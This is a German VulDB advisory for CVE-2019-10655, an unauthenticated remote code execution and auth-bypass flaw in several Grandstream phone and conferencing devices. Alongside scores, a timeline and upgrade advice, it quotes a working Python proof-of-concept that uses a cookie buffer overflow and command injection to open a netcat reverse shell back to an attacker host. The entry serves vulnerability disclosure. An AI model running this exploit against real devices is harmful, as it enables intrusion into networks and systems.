Grandstream GAC2500/GXP2200/GVC3202/GXV3275/GXV3240 bis 1.0.3 manager?action=getlogcat Priorität Pufferüberlauf
| CVSS Meta Temp Score | Aktueller Exploitpreis (≈) | CTI Interest Score |
|---|---|---|
| 8.2 | $0-$5k | 0.00 |
Zusammenfassung
Eine als kritisch eingestufte Schwachstelle wurde in Grandstream GAC2500, GXP2200, GVC3202, GXV3275 and GXV3240 bis 1.0.3 festgestellt. Es geht dabei um eine nicht klar definierte Funktion der Datei /manager?action=getlogcat. Dank der Manipulation des Arguments Priorität durch Shell Metacharacter kann eine Pufferüberlauf-Schwachstelle ausgenutzt werden. Diese Schwachstelle wird als CVE-2019-10655 gehandelt. Der Angriff kann über das Netzwerk passieren. Ausserdem ist ein Exploit verfügbar. Es wird empfohlen, die betroffene Komponente zu aktualisieren.
Details
Eine Schwachstelle wurde in Grandstream GAC2500, GXP2200, GVC3202, GXV3275 sowie GXV3240 bis 1.0.3 entdeckt. Sie wurde als kritisch eingestuft. Davon betroffen ist unbekannter Code der Datei /manager?action=getlogcat. Durch Manipulieren des Arguments priority durch Shell Metacharacter kann eine Pufferüberlauf-Schwachstelle ausgenutzt werden. Klassifiziert wurde die Schwachstelle durch CWE als CWE-119. Die Auswirkungen sind bekannt für Vertraulichkeit, Integrität und Verfügbarkeit. Die Zusammenfassung von CVE lautet:
Grandstream GAC2500 1.0.3.35, GXP2200 1.0.3.27, GVC3202 1.0.3.51, GXV3275 before 1.0.3.219 Beta, and GXV3240 before 1.0.3.219 Beta devices allow unauthenticated remote code execution via shell metacharacters in a /manager?action=getlogcat priority field, in conjunction with a buffer overflow (via the phonecookie cookie) to overwrite a data structure and consequently bypass authentication. This can be exploited via CSRF because the cookie can be placed in an Accept HTTP header in an XMLHttpRequest call to lighttpd.Die Entdeckung des Problems geschah am 22.03.2019. Die Schwachstelle wurde am 30.03.2019 durch Brendan Scarvell (GitHub Repository) herausgegeben. Das Advisory findet sich auf github.com. Die Verwundbarkeit wird seit dem 30.03.2019 mit der eindeutigen Identifikation CVE-2019-10655 gehandelt. Umgesetzt werden kann der Angriff über das Netzwerk. Das Ausnutzen erfordert keine spezifische Authentisierung. Es sind technische Details sowie ein öffentlicher Exploit zur Schwachstelle bekannt.
Ein öffentlicher Exploit wurde durch Brendan Scarvell in Python entwickelt und direkt nach dem Advisory veröffentlicht. Unter github.com wird der Exploit zum Download angeboten. Er wird als proof-of-concept gehandelt. Es dauerte mindestens 8 Tage, bis diese Zero-Day Schwachstelle öffentlich gemacht wurde. Während dieser Zeit erzielte er wohl etwa $0-$5k auf dem Schwarzmarkt. Der durch den Exploit genutzte Code gestaltet sich wie folgt:
HOST = sys.argv[1]
port = 80 if len(sys.argv) < 3 else sys.argv[2]
useTelnet = False
# required for reverse shell
LHOST = "10.1.1.78"
LPORT = 4444
revshell = base64.b64encode("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/system/xbin/sh -i 2>&1|nc {} {} >/tmp/f".format(LHOST, LPORT))
payload = "{telnetd,-l,sh}" if useTelnet else "echo$IFS\"{}\"|base64$IFS-d|sh".format(revshell)
# Buffer overflow to bypass auth
cookie = "phonecookie=\"{}\"".format("A"*93)
print "[*] Trying to run command.."
req = urllib2.Request('http://' + HOST + '/manager?action=starttraceroute&addr=||'+payload)
req.add_header('Cookie', cookie)
res = urllib2.urlopen(req)
if 'Response=Success' not in res.read():
print "[!] Exploit failed. Host may not be vulnerable"
else:
if (useTelnet):
print "[*] Waiting.."
time.sleep(2)
os.system("telnet {}".format(HOST))
print "[*] Finished."Ein Aktualisieren vermag dieses Problem zu lösen.
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.
Produkt
Hersteller
Name
Version
Lizenz
CPE 2.3
CPE 2.2
CVSSv4
VulDB Vector: 🔍VulDB Zuverlässigkeit: 🔍
CVSSv3
VulDB Meta Base Score: 8.5VulDB Meta Temp Score: 8.2
VulDB Base Score: 7.3
VulDB Temp Score: 6.6
VulDB Vector: 🔍
VulDB Zuverlässigkeit: 🔍
NVD Base Score: 9.8
NVD Vector: 🔍
CVSSv2
| AV | AC | Au | C | I | A |
|---|---|---|---|---|---|
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| 💳 | 💳 | 💳 | 💳 | 💳 | 💳 |
| Vektor | Komplexität | Authentisierung | Vertraulichkeit | Integrität | Verfügbarkeit |
|---|---|---|---|---|---|
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
| freischalten | freischalten | freischalten | freischalten | freischalten | freischalten |
VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Zuverlässigkeit: 🔍
NVD Base Score: 🔍
Exploiting
Klasse: PufferüberlaufCWE: CWE-119
CAPEC: 🔍
ATT&CK: 🔍
Physisch: Nein
Lokal: Nein
Remote: Ja
Verfügbarkeit: 🔍
Zugang: öffentlich
Status: Proof-of-Concept
Autor: Brendan Scarvell
Programmiersprache: 🔍
Download: 🔍
EPSS Score: 🔍
EPSS Percentile: 🔍
Preisentwicklung: 🔍
Aktuelle Preisschätzung: 🔍
| 0-Day | freischalten | freischalten | freischalten | freischalten |
|---|---|---|---|---|
| Heute | freischalten | freischalten | freischalten | freischalten |
Threat Intelligence
Interesse: 🔍Aktive Akteure: 🔍
Aktive APT Gruppen: 🔍
Gegenmassnahmen
Empfehlung: UpgradeStatus: 🔍
0-Day Time: 🔍
Exploit Delay Time: 🔍
Timeline
22.03.2019 🔍30.03.2019 🔍
30.03.2019 🔍
30.03.2019 🔍
31.03.2019 🔍
17.08.2023 🔍
Quellen
Advisory: 165643Person: Brendan Scarvell
Status: Bestätigt
CVE: CVE-2019-10655 (🔍)
GCVE (CVE): GCVE-0-2019-10655
GCVE (VulDB): GCVE-100-132635
scip Labs: https://www.scip.ch/?labs.20161013
Eintrag
Erstellt: 31.03.2019 09:48Aktualisierung: 17.08.2023 20:26
Anpassungen: 31.03.2019 09:48 (67), 23.05.2020 11:09 (1), 17.08.2023 20:26 (4)
Komplett: 🔍
Cache ID: 216::103
Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.